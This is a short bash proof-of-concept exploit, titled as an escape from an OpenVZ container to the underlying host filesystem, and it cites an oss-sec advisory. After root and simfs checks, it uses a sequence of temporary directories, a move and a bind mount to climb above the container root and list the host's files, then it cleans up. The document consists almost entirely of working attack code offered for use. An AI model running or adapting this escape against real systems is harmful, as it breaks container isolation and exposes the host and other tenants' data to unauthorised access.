escape from openvz container to underlying fs

bind_test.sh

#!/bin/bash
### for ref goto: http://seclists.org/oss-sec/2015/q2/38

## sanity checks
if (( $(id -u) )); then echo '[-] need root'; exit; fi
if [ ! -e /proc/vz ]; then echo '[-] this is not openvz based'; exit; fi
if [ ! -e /dev/simfs ]; then echo '[-] no smifs cant exploit'; exit; fi


a=$(mktemp -d /bind_XXXXXXX)
b=$(mktemp -d /bind_XXXXXXX)
c=$(mktemp -d /bind_XXXXXXX)

cd /
mv ${b} ${a}/
mount -o bind $a $c
cd /${c}/${b}
mv /${a}/${b} /
ls -latr ../../../../../
sleep 1
cd ${HOME}
umount /${c}
rmdir /${a} /${b} /${c}